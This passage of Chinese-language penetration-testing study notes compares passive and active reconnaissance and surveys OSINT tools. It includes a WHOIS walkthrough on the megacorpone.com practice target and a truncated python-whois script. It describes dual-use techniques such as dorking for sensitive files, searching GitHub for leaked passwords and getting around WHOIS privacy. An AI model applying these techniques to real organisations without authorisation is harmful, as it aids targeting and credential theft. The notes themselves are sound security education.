&lt;li&gt;&lt;strong&gt;法律风险高&lt;/strong&gt;：未经授权的主动探测可能违法（如《计算机欺诈与滥用法》）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;常见方法：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;端口扫描&lt;/strong&gt;：Nmap（&lt;code&gt;-sS&lt;/code&gt; 半开扫描）、Masscan。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务指纹识别&lt;/strong&gt;：Banner抓取（Telnet、Netcat）、Nmap脚本（&lt;code&gt;-sV&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞探测&lt;/strong&gt;：Nessus、OpenVAS（验证已知漏洞）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络嗅探&lt;/strong&gt;：Wireshark、tcpdump（分析流量）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暴力破解&lt;/strong&gt;：Hydra（测试弱密码）、DirBuster（目录枚举）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主动DNS查询&lt;/strong&gt;：直接向目标DNS服务器请求记录。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;适用场景：
&lt;ul&gt;
&lt;li&gt;渗透测试中后期，验证漏洞可利用性。&lt;/li&gt;
&lt;li&gt;红队行动中模拟真实攻击行为。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;需获得明确授权&lt;/strong&gt;（如授权渗透测试）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="对比表格"&gt;&lt;strong&gt;对比表格&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;特征&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;被动信息收集&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;主动信息收集&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;交互性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;不直接与目标交互&lt;/td&gt;
 &lt;td style="text-align: center"&gt;直接与目标交互&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;隐蔽性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高（目标无法察觉）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;低（可能触发告警）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;数据来源&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;公开资源、第三方数据库&lt;/td&gt;
 &lt;td style="text-align: center"&gt;目标系统的响应数据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;法律风险&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;低（需遵守隐私政策）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高（需明确授权）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;常用工具&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Shodan, WHOIS, Wayback Machine, Google&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Nmap, Nessus, Hydra, Wireshark&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;渗透测试阶段&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;前期（侦查）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;中后期（漏洞利用、横向移动）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="实战建议"&gt;&lt;strong&gt;实战建议&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;优先被动收集&lt;/strong&gt;：
在未授权时仅使用被动方法，避免法律风险。例如：通过GitHub搜索目标代码泄露。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主动收集需授权&lt;/strong&gt;：
在渗透测试中，主动扫描前必须获得书面授权。例如：使用Nmap扫描客户网络。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;混合使用&lt;/strong&gt;：
结合两者提高效率。例如：被动收集子域名后，主动验证其存活性和服务版本。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;开源情报（&lt;strong&gt;OSINT，Open Source Intelligence&lt;/strong&gt;）是指从&lt;strong&gt;公开可获取的来源&lt;/strong&gt;中收集、分析和利用信息，用于支持决策或安全分析。其核心特点是数据来源完全公开（如互联网、媒体、政府记录等），无需侵入目标系统，但需通过技术手段筛选有效信息。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="什么是开源情报如何获取开源情报"&gt;什么是开源情报，如何获取开源情报？
&lt;/h2&gt;&lt;h3 id="开源情报osint的核心特点"&gt;&lt;strong&gt;开源情报（OSINT）的核心特点&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;公开性&lt;/strong&gt;：数据来自免费或公开渠道（如网页、社交媒体、数据库）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合法性&lt;/strong&gt;：遵守隐私政策和法律法规（如 GDPR、CCPA）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非侵入性&lt;/strong&gt;：不直接与目标交互，避免触发安全告警。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多样性&lt;/strong&gt;：覆盖文本、图像、视频、元数据等多种格式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可验证性&lt;/strong&gt;：通过交叉比对多个来源提高信息可信度。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="如何获取开源情报"&gt;&lt;strong&gt;如何获取开源情报？&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-基础数据来源"&gt;&lt;strong&gt;1. 基础数据来源&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;搜索引擎：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Google Dorking&lt;/strong&gt;：使用高级语法（&lt;code&gt;site:example.com filetype:pdf&lt;/code&gt;）挖掘敏感文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bing/Yandex&lt;/strong&gt;：特定区域或语言的内容（如俄语信息用Yandex更高效）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;社交媒体：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LinkedIn&lt;/strong&gt;：挖掘员工职位、技术栈（如“某公司使用Apache Tomcat”）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Twitter/Telegram&lt;/strong&gt;：追踪威胁情报（如勒索软件团伙的暗网活动）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub/GitLab&lt;/strong&gt;：搜索代码泄露、API密钥或硬编码密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;域名与IP：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WHOIS查询&lt;/strong&gt;：获取域名注册人、邮箱、电话（工具：WhoisXML API）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS记录&lt;/strong&gt;：通过 &lt;code&gt;dig&lt;/code&gt; 或在线工具（ViewDNS）解析子域名和MX记录。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;证书透明度日志&lt;/strong&gt;（如crt.sh）：发现目标关联的SSL证书和子域名。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-高级技术工具"&gt;&lt;strong&gt;2. 高级技术工具&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;网络资产测绘：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shodan&lt;/strong&gt;：搜索暴露的物联网设备（如摄像头、数据库）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Censys&lt;/strong&gt;：分析IP的开放端口和服务指纹（如Apache版本）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FOFA&lt;/strong&gt;：国内版Shodan，侧重中文目标。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;元数据提取：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ExifTool&lt;/strong&gt;：从图片中提取GPS坐标、拍摄设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FOCA&lt;/strong&gt;：分析文档（PDF/Word）中的隐藏元数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;历史数据：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wayback Machine&lt;/strong&gt;：查看网站历史快照（如已删除的登录页面）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS历史记录&lt;/strong&gt;：通过SecurityTrails追溯IP变更。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-自动化与框架"&gt;&lt;strong&gt;3. 自动化与框架&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;OSINT集成工具：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Maltego&lt;/strong&gt;：可视化关联分析（如域名→IP→员工邮箱→社交媒体）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SpiderFoot&lt;/strong&gt;：自动聚合WHOIS、DNS、漏洞库等数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;theHarvester&lt;/strong&gt;：批量收集邮箱、子域名（支持Google、Bing、PGP密钥服务器）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;自定义脚本：
&lt;ul&gt;
&lt;li&gt;使用Python（&lt;code&gt;requests&lt;/code&gt;、&lt;code&gt;BeautifulSoup&lt;/code&gt;）爬取特定网站数据。&lt;/li&gt;
&lt;li&gt;调用API（如Twitter API、Shodan API）实现数据批量获取。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-暗网与威胁情报"&gt;&lt;strong&gt;4. 暗网与威胁情报&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;暗网监控：
&lt;ul&gt;
&lt;li&gt;使用 &lt;strong&gt;Tor浏览器&lt;/strong&gt; 访问暗网论坛（如Dread），搜索数据泄露记录。&lt;/li&gt;
&lt;li&gt;工具：&lt;strong&gt;DarkSearch.io&lt;/strong&gt;（暗网搜索引擎）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;漏洞与威胁库：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE Details&lt;/strong&gt;：查询已知漏洞的利用方式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;：分析文件哈希、URL关联的恶意活动。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AlienVault OTX&lt;/strong&gt;：获取全球威胁情报指标（IOC）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="实战案例"&gt;&lt;strong&gt;实战案例&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;定位数据泄露来源：
&lt;ul&gt;
&lt;li&gt;在GitHub搜索 &lt;code&gt;companyname password&lt;/code&gt;，发现员工误传的配置文件含数据库密码。&lt;/li&gt;
&lt;li&gt;通过Shodan验证该数据库IP是否暴露在公网。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;钓鱼攻击溯源：
&lt;ul&gt;
&lt;li&gt;从钓鱼邮件元数据中提取发信IP，用AbuseIPDB查询历史恶意行为。&lt;/li&gt;
&lt;li&gt;关联该IP的SSL证书，发现注册邮箱与某暗网论坛账号一致。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;供应链攻击分析：
&lt;ul&gt;
&lt;li&gt;通过Crunchbase找到目标供应商的客户列表。&lt;/li&gt;
&lt;li&gt;使用Censys扫描这些客户的公网资产，发现共用同一脆弱SaaS服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="注意事项"&gt;&lt;strong&gt;注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;法律合规：
&lt;ul&gt;
&lt;li&gt;避免侵犯隐私（如爬取LinkedIn个人资料可能违反用户协议）。&lt;/li&gt;
&lt;li&gt;在欧盟地区需遵守GDPR（如模糊化处理个人信息）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;道德准则：
&lt;ul&gt;
&lt;li&gt;仅用于授权测试或防御分析，禁止恶意用途。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;信息验证：
&lt;ul&gt;
&lt;li&gt;交叉验证多个来源（如WHOIS邮箱是否与社交媒体账号关联）。&lt;/li&gt;
&lt;li&gt;警惕虚假信息（如伪造的GitHub仓库或域名注册信息）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="总结"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;开源情报（OSINT）是“&lt;strong&gt;从公开信息中提炼黄金&lt;/strong&gt;”的技术，核心在于：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;明确目标&lt;/strong&gt;（如“获取某公司的网络拓扑”）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选择工具链&lt;/strong&gt;（如Maltego关联分析 + Shodan验证）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动化与人工分析结合&lt;/strong&gt;，最终形成可行动的威胁情报。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="whois-信息收集"&gt;Whois 信息收集
&lt;/h2&gt;&lt;p&gt;还是官方的靶机网址 &lt;a class="link" href="https://www.megacorpone.com/" target="_blank" rel="noopener"
 &gt;https://www.megacorpone.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524170128776.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;whois megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250524170205065" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524170205065.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524170317085" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524170317085.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524220349042" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524220349042.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;强制指定 WHOIS 服务器&lt;/strong&gt;（某些域名需指定注册商服务器）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;whois -h whois.verisign-grs.com megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250524220711028" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524220711028.png"&gt;&lt;/p&gt;
&lt;h3 id="whois-输出信息解析"&gt;&lt;strong&gt;WHOIS 输出信息解析&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-关键字段解读"&gt;&lt;strong&gt;1. 关键字段解读&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;字段&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;说明&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Domain Name&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名名称（如 &lt;code&gt;example.com&lt;/code&gt;）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Registry Domain ID&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名在注册局的唯一标识符（用于追踪变更）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Registrar&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名注册商（如 GoDaddy、Namecheap）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Creation Date&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名注册日期（可用于判断目标运营时长）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Expiration Date&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名过期时间（若未续费可能被抢注）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Updated Date&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;最后更新时间（如DNS记录或所有者变更）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Domain Status&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名状态（如 &lt;code&gt;clientTransferProhibited&lt;/code&gt; 表示禁止转移）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Name Server&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;域名使用的DNS服务器（可进一步探测子域名）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Registrant Contact&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;注册人信息（可能被隐私保护服务隐藏）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Admin/Technical Contact&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;管理员和技术联系人信息（可能包含邮箱、电话）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="2-隐私保护的影响"&gt;&lt;strong&gt;2. 隐私保护的影响&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Whois Privacy：&lt;/p&gt;
&lt;p&gt;注册商提供隐私保护服务时，关键信息（如姓名、邮箱、电话）会被替换为代理信息：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;Registrant Name: REDACTED FOR PRIVACY
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Registrant Email: contact&lt;span class="ni"&gt;@privacyguard&lt;/span&gt;.example
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时需通过其他方式（如历史记录、关联域名）绕过隐私保护。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-ip-whois-的额外信息"&gt;&lt;strong&gt;3. IP WHOIS 的额外信息&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;IP 范围：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;NetRange: 192.0.2.0 - 192.0.2.255 # IP地址段
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;CIDR: 192.0.2.0/24 # 子网掩码
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;Organization: Example ISP # 所属机构（可能是ISP或企业）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="3-自动化工具整合"&gt;&lt;strong&gt;3. 自动化工具整合&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;与脚本结合：使用 Python 的&lt;code&gt;python-whois&lt;/code&gt;库批量查询域名：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;whois&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_domain_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;domain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;whois&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;whois&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;域名&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;domain_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册商&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;registrar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;创建日期&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;format_date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;creation_date&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;过期日期&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;format_date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expiration_date&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;最后更新&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;format_date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;updated_date&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;状态&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;list_to_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="c1"&gt;# 状态可能是列表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;DNS服务器&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;list_to_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name_servers&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 关键修复：处理字段为 None 的情况，统一转为 &amp;#39;N/A&amp;#39;&lt;/span&gt;
